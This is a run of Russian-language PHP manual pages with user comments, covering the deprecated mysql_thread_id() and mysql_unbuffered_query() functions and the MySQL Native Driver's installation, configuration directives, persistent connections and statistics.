Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_thread_id()

Описание

mysql_thread_id(resource $link_identifier = NULL): int|false

mysql_thread_id() возвращает идентификатор текущего потока. Если соединение потеряно и вы пересоединились с помощью mysql_ping(), то идентификатор потока изменится. Это означает, что вам не следует получать данный идентификатор и хранить его для дальнейшего использования. Вызывайте функцию тогда, когда он вам нужен.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Идентификатор потока в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_thread_id()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
printf("Идентификатор текущего потока: %d\n", $thread_id);
}
?>

Результатом выполнения данного примера будет что-то подобное:

Идентификатор текущего потока: 73

Смотрите также

  • mysql_ping() - Проверяет соединение с сервером и пересоединяется при необходимости
  • mysql_list_processes() - Возвращает список процессов MySQL

User Contributed Notes

There are no user contributed notes for this page.


Посылает запрос MySQL без авто-обработки результата и его буферизации

  • « mysql_thread_id
  • Mysqlnd »
  • PHP Manual
  • MySQL
  • Посылает запрос MySQL без авто-обработки результата и его буферизации

mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query — Посылает запрос MySQL без авто-обработки результата и его буферизации

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • See: Буферизованные и не буферизованные запросы

Описание

mysql_unbuffered_query(string $query, resource $link_identifier = NULL): resource

mysql_unbuffered_query() посылает запрос MySQL query без автоматической обработки и буферизации её результата, в отличие от функции mysql_query(). Это позволяет сохранить достаточно большое количество памяти для SQL-запросов, возвращающих большое количество данных. Кроме того, вы можете начать работу с полученными данными сразу после того, как первый ряд был получен: вам не приходится ждать до конца SQL-запроса. При использовании mysql_unbuffered_query() с несколькими соединениями MySQL, вы должны указать необязательный параметр link_identifier.

Список параметров

query

Запускаемый SQL-запрос.

Данные в запросе должны быть корректно проэкранированы.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Для SELECT, SHOW, DESCRIBE и EXPLAIN запросов mysql_unbuffered_query() возвращает resource в случае успешного выполнения, или false в случае возникновения ошибки.

Для остальных типов SQL-запросов, UPDATE, DELETE, DROP и т.д., mysql_unbuffered_query() возвращает true в случае успеха и false в случае возникновения ошибки.

Примечания

Замечание:

Однако, плюсы использования mysql_unbuffered_query() имеют свою цену: вы не можете использовать функции mysql_num_rows() и mysql_data_seek() с результатом запроса, возвращённым этой функцией, пока не будут получены все ряды. Кроме того, вы должны будете обработать все ряды запроса до отправки нового запроса, используя тот же link_identifier.

Смотрите также

  • mysql_query() - Посылает запрос MySQL

User Contributed Notes

crazyone at crazycoders dot net 27-May-2008 09:47
You are NOT required to read all rows from the resultset when using unbuffered query, you may opt out at any time and use mysql_free_result. Imagine looking at 1 million row when the first 50 suffice? Just free the result and you are good to go again.
post at jfl dot dk 29-Nov-2003 05:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
shaner at accretivetg dot com 21-May-2003 04:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

<?php
// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
{
  $began  =  time();
  $tout   = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh     = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
    /* do what you need to do
     * ...
     * ...
     */
    if ( ( time() - $began ) > $tout )
    {
      // this is taking too long
      mysql_query( "KILL $thread", $clh );
      break;
    }
  }
}
?>
frappyjohn at dos2linux dot org 17-Feb-2003 10:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net 17-May-2002 09:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.


Встроенный драйвер MySQL

  • Введение
  • Обзор
  • Установка
  • Настройка во время выполнения
  • Несовместимости
  • Постоянное соединение
  • Статистика
  • Замечания
  • Управление памятью
  • API для плагинов к встроенному драйверу MySQL
    • Сравнение плагинов mysqlnd с MySQL Proxy
    • Получение API плагинов mysqlnd
    • Архитектура плагинов MySQL Native Driver
    • API плагинов mysqlnd
    • Начинаем разработку плагина mysqlnd

User Contributed Notes

juangiordana at gmail dot com 15-Jan-2011 05:55
Notice that since of PHP 5.3.0 there is no need to set 'default_socket_timeout to -1'.

"The MySQL Client Library sets a default timeout of 365 * 24 * 3600 seconds (1 year) and waits for other timeouts to occur, such as TCP/IP timeouts. mysqlnd now uses the same very long timeout."

http://www.php.net/mysqlnd.config.php#mysqlnd.net_read_timeout
koalay at gmail dot com 16-Sep-2009 10:53
For those who manually compiled MySQL, the default
 mysqlnd settings may results in error.
Your mysql_error() function may give you this message:

---------------------------
No such file or directory (trying to connect via unix:///tmp/mysql.sock)
---------------------------

This is because your manually compiled MySQL has its own place for socket.
You need to provide PHP a reference for an appropriate mysql socket.
That means you need to edit php.ini and add a section like this:

---------------------------
[mysql]
mysql.default_socket="/your/path/to/mysql.sock"
---------------------------
eric dot caron at gmail dot com 02-Sep-2009 09:59
One important part of the MySQL Native Driver, which is overlooked, is that when connecting to MySQL via a socket, the connection is subject to the "default_socket_timeout" value.

This means that if you have the default_socket_timeout set to 60 (default value), and you have a query that takes longer than 60 seconds to respond, the connection will be severed and getting the query results will fail.

The solution (as of PHP 5.3.0) is to change default_socket_timeout to -1 in php.ini, or with ini_set.


Введение

MySQL Native Driver является заменой для клиентской библиотеки MySQL (libmysqlclient). MySQL Native Driver является частью официальных исходных кодов PHP начиная с PHP 5.3.0.

Модули баз данных MySQL mysqli и PDO MYSQL соединяются с сервером MySQL. В прошлом это делалось с помощью модуля, использующего сервисы, которые предоставляет клиентская библиотека MySQL. Такие модули компилировались с клиентской библиотекой MySQL для того, чтобы использовать собственный клиент-серверный протокол.

С появлением MySQL Native Driver появилась альтернатива, так как модули баз данных могут компилироваться для использования MySQL Native Driver вместо клиентской библиотеки MySQL.

MySQL Native Driver написан на C в виде модуля PHP.

User Contributed Notes

There are no user contributed notes for this page.


Обзор

Чем он не является

Хотя встроенный драйвер MySQL написан как модуль PHP, важно понимать, что он не предоставляет программисту PHP нового API. API к базе данных MySQL для программиста предоставляются модулями MySQL, mysqli и PDO MYSQL. Эти модули могут использовать возможности встроенного драйвера MySQL для общения с сервером MySQL. Таким образом, вы не должны думать о встроенном драйвере MySQL как об API.

Зачем его использовать?

Использование встроенного драйвера MySQL даёт некоторые плюсы относительно клиентской библиотеки MySQL.

Более старая клиентская библиотека MySQL была написана MySQL AB (сейчас Oracle Corporation) и выпускалась под лицензией MySQL. В конечном итоге это привело к тому, что поддержка MySQL в PHP была по умолчанию выключена. С другой стороны, встроенный драйвер MySQL был разработан как часть проекта PHP, и выпущен под лицензией PHP. Это снимает вопросы с лицензированием, бывшие проблемными в прошлом.

Также, в прошлом вам требовалось собирать модули, работающие с базой данных MySQL, рядом с клиентской библиотекой MySQL. Обычно это означало, что на машине, на которой вы разрабатывали PHP-код, требовался установленный MySQL. К тому же, когда PHP-приложение работало, модули, работающие с MySQL, могли обращаться к клиентской библиотеке MySQL во время работы, так что её файл должен был быть установлен в вашей системе. Со встроенным драйвером MySQL эта проблема исчезла, поскольку он является частью стандартного дистрибутива. Таким образом, вам не потребуется установленный MySQL, чтобы собирать PHP или использовать работающие с базой данных PHP-приложения.

Поскольку встроенный драйвер MySQL написан как модуль PHP, он тесно связан с работой PHP. Это приводит к приросту эффективности, особенно в плане использования оперативной памяти, поскольку драйвер использует систему управления памятью PHP. Он также поддерживает настройки лимита памяти PHP. Использование встроенного драйвера MySQL приводит к сопоставимой или даже лучшей производительности, чем в случае клиентской библиотеки MySQL, поскольку всегда гарантируется наиболее эффективное использование памяти. Одним из примеров эффективности работы с памятью является то, что при использовании клиентской библиотеки MySQL каждая строка хранится в памяти дважды, тогда как в случае встроенного драйвера MySQL каждая строка хранится в памяти только один раз.

Замечание: Контроль использования памяти

Так как встроенный драйвер MySQL использует систему контроля памяти PHP, используемая им память может быть отслежена с помощью функции memory_get_usage(). Это нельзя сделать с помощью libmysqlclient, так как он использует функцию языка Си malloc().

Особые возможности

Встроенный драйвер MySQL также предоставляет некоторые особые возможности, недоступные при использовании расширениями клиентской библиотеки MySQL. Список этих возможностей приведён ниже:

  • Улучшены постоянные соединения

  • Особая функция mysqli_fetch_all()

  • Вызов статистики производительности: mysqli_get_client_stats(), mysqli_get_connection_stats()

Статистика производительности может быть очень полезна для нахождения узких мест в производительности.

Встроенный драйвер MySQL также поддерживает постоянные соединения при использовании модуля mysqli.

Поддержка SSL

Встроенный драйвер MySQL поддерживает SSL.

Поддержка протокола с использованием сжатия

Встроенный драйвер MySQL поддерживает клиент-серверный протокол с использованием сжатия. Модули, например, ext/mysql или ext/mysqli, настроенные на использование встроенного драйвера MySQL, могут также воспользоваться этой возможностью. Обратите внимание, что PDO_MYSQL НЕ поддерживает сжатие при использовании совместно с mysqlnd.

Поддержка именованных каналов

Именованные каналы можно использовать для подключения в средах Windows.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Установка в Unix

Для работы встроенного драйвера MySQL требуется собрать PHP, указав, что модули для работы с MySQL должны быть скомпилированы с поддержкой встроенного драйвера MySQL. Это делается с помощью параметров конфигурации перед сборкой PHP из исходного кода.

Например, чтобы собрать модули MySQL mysqli и PDO MYSQL, использующие встроенный драйвер MySQL, должна быть выполнена следующая команда:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
[other options]

Установка в Windows

В официальных Windows-дистрибутивах встроенный драйвер MySQL включён по умолчанию, так что никаких дополнительных настроек для его использования не требуется. В этом случае все модули для работы с MySQL будут использовать встроенный драйвер MySQL.

Поддержка плагина аутентификации SHA-256

Для встроенного драйвера MySQL требуется подключить и включить OpenSSL в PHP, чтобы подключаться к MySQL через аккаунты, использующие плагин аутентификации MySQL SHA-256. Например, можно настроить PHP следующим образом:

./configure --with-mysql=mysqlnd \
--with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd \
--with-openssl
[other options]

User Contributed Notes

Nehuen 01-Oct-2015 03:33
In debian, if you need to use mysqld and have already installed php, you can run this command:
sudo apt-get install php5-mysqlnd
and then restart the server, ej apache
sudo /etc/init.d/apache2 restart
now you can use php with mysqld


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации встроенного драйвера MySQL
Имя | По умолчанию | Место изменения | Список изменений
mysqlnd.collect_statistics | "1" | PHP_INI_SYSTEM |
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM |
mysqlnd.debug | "" | PHP_INI_SYSTEM |
mysqlnd.log_mask | 0 | PHP_INI_ALL |
mysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
mysqlnd.net_read_timeout | ""86400"" | PHP_INI_ALL | До PHP 7.2.0 значением по умолчанию "31536000", а местом изменения было PHP_INI_SYSTEM
mysqlnd.net_cmd_buffer_size | 5.3.0 - "2048", 5.3.1 - "4096" | PHP_INI_SYSTEM |
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_SYSTEM |
mysqlnd.sha256_server_public_key | "" | PHP_INI_PERDIR |
mysqlnd.trace_alloc | "" | PHP_INI_SYSTEM |
mysqlnd.fetch_data_copy | 0 | PHP_INI_ALL | Удалено, начиная с PHP 8.1.0
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mysqlnd.collect_statistics bool

Включает сбор различной статистики клиента, доступ к которой можно получить с помощью mysqli_get_client_stats(), mysqli_get_connection_stats(), и которая отображается в разделе mysqlnd вывода функции phpinfo().

Этот параметр конфигурации включает всю статистику встроенного драйвера MySQL, кроме относящейся к работе с оперативной памятью.

mysqlnd.collect_memory_statistics bool

Включает сбор различной статистики оперативной памяти, доступ к которой можно получить с помощью mysqli_get_client_stats(), mysqli_get_connection_stats(), и которая отображается в разделе mysqlnd вывода функции phpinfo().

Этот параметр конфигурации включает всю статистику, относящуюся к работе с оперативной памятью, в общий набор данных статистики встроенного драйвера MySQL.

mysqlnd.debug string

Записывает команды из всех модулей, использующих mysqlnd, в указанный файл с логами.

Формат параметра следующий: mysqlnd.debug = "option1[,parameter_option1][:option2[,parameter_option2]]".

Возможны нижеуказанные значения для строки форматирования:

  • A[,file] - добавляет вывод трассировки в указанный файл. Также каждый раз проверяет успешность записи данных. Это реализовано путём закрытия и повторного открытия файла (что достаточно медленно). Даёт гарантию целостности файла с логами в случае возникновения ошибки приложения.

  • a[,file] - добавляет вывод трассировки в указанный файл.

  • d - Включает вывод из макроса DBUG_<N> для текущего состояния. Может быть дополнено списком ключевых слов, чтобы выбрать вывод только содержащего эти ключевые слова макросов DBUG. Пустой список ключевых слов подразумевает вывод всех для макросов.

  • f[,functions] - ограничивает действия отладчика указанным списком функций. Пустой список функций подразумевает выбор всех функций.

  • F - помечает вывод каждой строчки отладчика названием исходного файла, содержащего код, вызвавший вывод.

  • i - помечает вывод каждой строчки отладчика PID текущего процесса.

  • L - помечает вывод каждой строчки отладчика названием исходного файла, вызвавшего вывод, и номером строки в ней.

  • n - помечает вывод каждой строчки отладчика уровнем вложенности текущей функции.

  • o[,file] - сходно с a[,file], но перезаписывает старый файл, а не дописывает его.

  • O[,file] - сходно с A[,file] но перезаписывает старый файл, а не дописывает его.

  • t[,N] - включает контроль функций во время трассировки. Максимальный уровень вложенности определён N и по умолчанию равен 200.

  • x - этот параметр активирует профилирование.

  • m - отслеживать вызовы, связанные с выделениями и высвобождением памяти.

Пример:

d:t:x:O,/tmp/mysqlnd.trace

Замечание:

Эта возможность доступна только для отладочной сборки PHP. Работает на Microsoft Windows при использовании отладочной сборки PHP, если PHP был собран с помощью Microsoft Visual C версии 9 и выше.

mysqlnd.log_mask int

Определяет, какие запросы будут журналироваться. Значение по умолчанию - 0, что отключает журналирование. Значение параметра - только целое число, константы PHP использовать нельзя. Например, при значении 48 (16 + 32) в журнал будут записываться медленные запросы, которые либо используют неподходящие индексы (SERVER_QUERY_NO_GOOD_INDEX_USED = 16), либо не используют их вообще SERVER_QUERY_NO_INDEX_USED = 32). При значении 2043 (1 + 2 + 8 + ... + 1024) в журнал будут записываться все типы медленных запросов.

Используются следующие типы запросов: SERVER_STATUS_IN_TRANS=1, SERVER_STATUS_AUTOCOMMIT=2,
SERVER_MORE_RESULTS_EXISTS=8, SERVER_QUERY_NO_GOOD_INDEX_USED=16, SERVER_QUERY_NO_INDEX_USED=32,
SERVER_STATUS_CURSOR_EXISTS=64, SERVER_STATUS_LAST_ROW_SENT=128, SERVER_STATUS_DB_DROPPED=256,
SERVER_STATUS_NO_BACKSLASH_ESCAPES=512, and SERVER_QUERY_WAS_SLOW=1024.

mysqlnd.mempool_default_size int

Default size of the mysqlnd memory pool, which is used by result sets.

mysqlnd.net_read_timeout int

mysqlnd и клиентская библиотека MySQL, libmysqlclient, используют разные сетевые API. mysqlnd использует потоки PHP, тогда как libmysqlclient - собственную обёртку над сетевыми вызовами операционной системы. В PHP по умолчанию выставлено 60-секундное время ожидания потоков. Этот параметр выставляется в php.ini директивой default_socket_timeout. По умолчанию это относится ко всем потокам, которым не установлено другое значение времени ожидания. mysqlnd не устанавливал других значений, поэтому подключения долго выполняющихся запросов могут быть отключены после default_socket_timeout секунд с ошибкой 2006 - MySQL Server has gone away. Клиентская библиотека MySQL устанавливает время ожидания по умолчанию равное 24 * 3600 секундам (1 день) и ждёт возникновения другого времени ожидания, такого как время ожидания TCP/IP. Теперь mysqlnd использует такой же очень долгое время ожидания. Это значение можно изменить через новую директиву php.ini - mysqlnd.net_read_timeout. mysqlnd.net_read_timeout будет использоваться любым модулем (ext/mysql, ext/mysqli, PDO_MySQL), использующим mysqlnd. mysqlnd указывает потокам PHP использовать mysqlnd.net_read_timeout. Пожалуйста, обратите внимание, что могут быть небольшие различия между MYSQL_OPT_READ_TIMEOUT в клиентской библиотеке MySQL и потоках PHP, например, судя по документации, MYSQL_OPT_READ_TIMEOUT работает только для TCP/IP-подключений и, вплоть до MySQL 5.1.2, только под Windows. Потоки PHP могут не иметь подобных ограничений. В случае сомнений просьба сверяться с документацией потоков.

mysqlnd.net_cmd_buffer_size int

mysqlnd резервирует внутренний командно-сетевой буфер размером mysqlnd.net_cmd_buffer_size (в php.ini) байт для каждого соединения. Если команда клиент-серверного протокола MySQL, например, COM_QUERY (обычный запрос), не умещается в буфер, mysqlnd увеличит буфер до размера, необходимого для отправки команды. Каждый раз, когда буфер был увеличен, переменная статистики command_buffer_too_small будет увеличена на один.

Если mysqlnd приходится увеличивать буфер сверх его заданного размера в mysqlnd.net_cmd_buffer_size байт для большинства соединений, вам следует обдумать необходимость увеличения размера по умолчанию, чтобы избежать повторных резерваций буфера.

Размер буфера по умолчанию составляет 4096 байт, что является наименьшим возможным значением.

Это значение также может быть установлено функцией mysqli_options(link, MYSQLI_OPT_NET_CMD_BUFFER_SIZE, size).

mysqlnd.net_read_buffer_size int

Максимальный размер части данных при считывании, в байтах, при обработке тела командного пакета MySQL. Клиент-серверный протокол MySQL оборачивает все свои команды в пакеты. Пакет состоит из небольшого заголовка и тела, содержащего непосредственно данные команды. Размер тела закодирован в заголовке. mysqlnd считывает тело частями по MIN(header.size, mysqlnd.net_read_buffer_size) байт. Если размер тела пакета больше, чем mysqlnd.net_read_buffer_size байт, mysqlnd будет вызывать read() несколько раз.

Это значение также может быть установлено функцией mysqli_options(link, MYSQLI_OPT_NET_READ_BUFFER_SIZE, size).

mysqlnd.sha256_server_public_key string

Данная опция относится к плагину аутентификации SHA-256 и содержит путь к файлу с публичным ключом RSA MySQL-сервера..

Клиент может как не указывать публичный ключ RSA, указать его с помощью данной опции, либо установить ключ во время выполнения с помощью функции mysqli_options(). Если публичный ключ RSA не был передан клиентом, то ключ будет получен в результате стандартной процедуры аутентификации плагина аутентификации SHA-256.

mysqlnd.trace_alloc string

mysqlnd.fetch_data_copy int

Принуждает копировать наборы из внутреннего буфера наборов в PHP переменные вместо использования логики с ссылками и "копированием при записи" по умолчанию. Смотрите реализация управления памятью для получения большей информации.

Копирование результирующих наборов вместо PHP переменных ссылающихся на них позволяют выделять память для PHP переменных заранее. В зависимости от пользовательского кода, реальных запросов к базе данных и размеров их результатов, можно снизить потребление памяти mysqlnd.

Не применяйте, если используется PDO_MySQL. В PDO_MySQL ещё не добавлена поддержка этого нового режима.

Замечание: Удалено, начиная с PHP 8.1.0

User Contributed Notes

There are no user contributed notes for this page.


Несовместимости

Встроенный драйвер MySQL (mysqlnd), в большинстве случаев, совместим с клиентской библиотекой MySQL libmysql. Этот раздел описывает несовместимости между этими библиотеками.

  • Значения в полях данных типа bit в библиотеке libmysql возвращаются как бинарные строки (например, "\0" или "\x1F"), а в библиотеке mysqlnd - как десятичные строки (например, "0" или "31"). Если необходимо, чтобы код был совместим с обеими библиотеками, то всегда из MySQL возвращайте данные из полей типа bit в виде чисел, используя подобный запрос: SELECT bit + 0 FROM table.

User Contributed Notes

There are no user contributed notes for this page.


Постоянное соединение

Использование постоянных соединений

Если mysqli используется с mysqlnd,\ при создании постоянного соединения оно генерирует на сервере запрос COM_CHANGE_USER (mysql_change_user()). Это гарантирует, что при подключении будет повторно произведена авторизация.

Поскольку из-за вызовов COM_CHANGE_USER увеличиваются накладные расходы, возможно отключить такое поведение во время компиляции. В таком случае повторное использование постоянного соединения будет генерировать вызов COM_PING (mysql_ping), для проверки возможности повторного использования соединения.

Генерация вызова COM_CHANGE_USER может быть отключена флагом компиляции MYSQLI_NO_CHANGE_USER_ON_PCONNECT. Например:

shell# CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT" ./configure --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-pdo-mysql=/usr/local/mysql/bin/mysql_config --enable-debug && make clean && make -j6

Или альтернативный вариант:

shell# export CFLAGS="-DMYSQLI_NO_CHANGE_USER_ON_PCONNECT"
shell# configure --whatever-option
shell# make clean
shell# make

Обратите внимание, что только mysqli совместно с mysqlnd используют COM_CHANGE_USER. Остальные комбинации модуль-драйвер используют COM_PING при первоначальном использовании постоянного соединения.

User Contributed Notes

There are no user contributed notes for this page.


Статистика

Использование статистических данных

MySQL Native Driver поддерживает сбор статистики по взаимодействию клиента с сервером. Статистика собирается с двух основных точек:

  • Клиентская статистика

  • Статистика соединения

Если вы используете модуль mysqli, эта статистика доступна с помощью двух функций, обращающихся к API:

  • mysqli_get_client_stats()

  • mysqli_get_connection_stats()

Замечание:

Статистика агрегируется со всех модулей, использующих MySQL Native Driver. К примеру, если подключить и ext/mysql и ext/mysqli через MySQL Native Driver, как вызовы функций ext/mysql так и ext/mysqli будут внесены в общую статистику. Возможность разделить статистику в зависимости от использованного модуля отсутствует. Вы можете сконфигурировать драйвера PDO MySQL, ext/mysql и ext/mysqli для опционального использования MySQL Native Driver. При этом все три модуля будут изменять статистику.

Доступ к клиентской статистике

Для получения клиентской статистике необходимо выполнить функцию mysqli_get_client_stats(). Функция вызывается без параметров.

Функция возвращает ассоциативный массив, использующий в качестве ключей названия метрик статистики и в качестве значения этих метрик, собственно, значения.

Также клиентская статистика доступна с помощью функции phpinfo().

Доступ к статистике соединения

Для получения статистики соединения, выполните функцию mysqli_get_connection_stats(), передав в качестве параметра ресурс соединения.

Функция возвращает ассоциативный массив, использующий в качестве ключей названия метрик статистики и в качестве значения этих метрик, собственно, значения.

Буферизованные и небуферизованные результирующие наборы

Результирующие наборы могут быть буферизованными и небуферизованными. При использовании настроек по умолчанию, ext/mysql и ext/mysqli работают с буферизованными результирующими наборами при использовании нормальных (не подготовленных) запросов. Буферизованные результирующие наборы кешируются на стороне клиента. После выполнения запроса, все результаты передаются на клиента, где сохраняются в кеше. Преимущество буферизованных запросов в том, что сразу высвобождаются серверные ресурсы, связанные с хранением результирующего набора.

Небуферизованные результирующие наборы, с другой стороны, сохраняются на сервере гораздо дольше. Если вы хотите сократить потребление памяти на клиенте, но при этом нагрузить сервер, используйте небуферизованные результирующие наборы. Если узким местом в вашей системе является сервер баз данных, то вам стоит задуматься о скорейшем перемещении результатов на клиента. Обычно клиенты масштабируются гораздо легче, чем сервера БД. Нагрузка ложится не только на память, но и на прочие ресурсы, которые должна поддерживать база данных для обслуживания соединения, такие как открытые файловые дескрипторы и нити исполнения.

Подготовленные запросы по умолчанию используют небуферизованные результирующие наборы. В любом случае, вы можете использовать функцию mysqli_stmt_store_result() для буферизации результатов.

Статистика возвращаемая MySQL Native Driver

Следующая таблица демонстрирует список возвращаемой функциями mysqli_get_client_stats() и mysqli_get_connection_stats() статистики.

Статистика mysqlnd: Сеть
Метрика | Область применения | Описание | Замечания
bytes_sent | Соединение | Количество байт переданных от PHP на сервер MySQL | Может использоваться для проверки эффективности протокола сжатия
bytes_received | Соединение | Количество байт полученных от сервера MySQL | Может использоваться для проверки эффективности протокола сжатия
packets_sent | Соединение | Количество пакетов посланных от клиента серверу MySQL | Используется для отладки реализации клиент-серверного протокола
packets_received | Соединение | Количество пакетов принятых клиентом от сервера MySQL | Используется для отладки реализации клиент-серверного протокола
protocol_overhead_in | Соединение | накладные расходы клиент-серверного протокола MySQL в байтах для входящего трафика. на данный момент только заголовок пакета (4 байта) считается за накладные расходы. protocol_overhead_in = packets_received * 4 | Используется для отладки реализации клиент-серверного протокола
protocol_overhead_out | Соединение | MySQL Client Server protocol overhead in bytes for outgoing traffic. Currently only the Packet Header (4 bytes) is considered as overhead. protocol_overhead_out = packets_sent * 4 | Используется для отладки реализации клиент-серверного протокола
bytes_received_ok_packet | Соединение | Общее количество байт принятых ОК-пакетов клиент-серверного протокола MySQL. OK-пакеты могут содержать статусные сообщения. Длина статусных сообщений может меняться, следовательно размер ОК-пакетов не фиксирована. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_ok | Соединение | Количество принятых OK-пакетов | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_eof_packet | Соединение | Общее количество байт принятых EOF-пакетов. Размер EOF-пакета может изменяться в зависимости от версии сервера. Также, EOF-пакеты могут использоваться как транспорт для сообщений об ошибках. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_eof | Соединение | Количество принятых EOF-пакетов. Как и для прочей статистики по пакетам, это число может увеличиваться каждый раз, когда PHP не получает ожидаемый пакет, а, к примеру, получает сообщение об ошибке. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_rset_header_packet | Соединение | Общее количество байт принятых заголовочных пакетов результирующих наборов. Размер пакетов зависит от полезной нагрузки (LOAD LOCAL INFILE, INSERT, UPDATE, SELECT, сообщение об ошибке). | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_rset_header | Соединение | Количество пакетов заголовков результирующих наборов. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_rset_field_meta_packet | Соединение | Общий размер в байтах полученных пакетов с метаданными результирующих наборов (информации о столбцах). Естественно размер каждого пакета индивидуален. Эти пакеты могут выступать транспортом для ошибок и EOF-пакетов в случае COM_LIST_FIELDS. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_rset_field_meta | Соединение | Общее количество полученных пакетов с метаданными результирующих наборов (информации о столбцах). | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_rset_row_packet | Соединение | Общий размер в байтах полученных пакетов с данными результирующего набора. Эти пакеты могут служить транспортом для ошибок и в качестве EOF-пакетов. Вы можете вычислить количество ошибок и EOF-пакетов отняв rows_fetched_from_server_normal и rows_fetched_from_server_ps от bytes_received_rset_row_packet. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_rset_row | Соединение | Количество пакетов с данными результирующих наборов и их суммарный объем в байтах. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_prepare_response_packet | Соединение | Общий размер в байтах ОК-пакетов инициализации подготовленных запросов. (инициализирующие пакеты подготовленных запросов). Эти пакеты могут выступать транспортом для ошибок. Размер пакета зависит от версии Mysql: 9 байт для MySQL4.1 и 12 байт начиная с 5.0. Нет надёжного способа узнать количество ошибок. Вы можете определить, что случилась ошибка, если, например, вы работаете с MySQL 5.0 или новее, а bytes_received_prepare_response_packet != packets_received_prepare_response * 12. Также смотрите ps_prepared_never_executed, ps_prepared_once_executed. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_prepare_response | Соединение | Количество полученных ОК-пакетов для инициализации подготовленных запросов. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
bytes_received_change_user_packet | Соединение | Общий размер в байтах полученных пакетов COM_CHANGE_USER. Пакеты могут служить транспортом для ошибок и EOF-пакетов. | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_received_change_user | Соединение | Количество принятых пакетов COM_CHANGE_USER | Используется для отладки реализации клиент-серверного протокола. Обратите внимание, что общий размер включает в себя заголовочный пакет, размером 4 байта.
packets_sent_command | Соединение | Количество команд посланных от PHP серверу MySQL. Возможность узнать, какие конкретно и в каких количествах посылались команды отсутствует. Лучшее, для чего вы можете использовать эту метрику, это проверять, что посылает команды серверу MySQL и поддержка MySQL в PHP не запрещена. Также отсутствует возможность определить количество ошибок, возникших при отправке этих команд. Единственная опознаваемая ошибка - это command_buffer_too_small (смотрите ниже). | Используется для отладки реализации клиент-серверного протокола
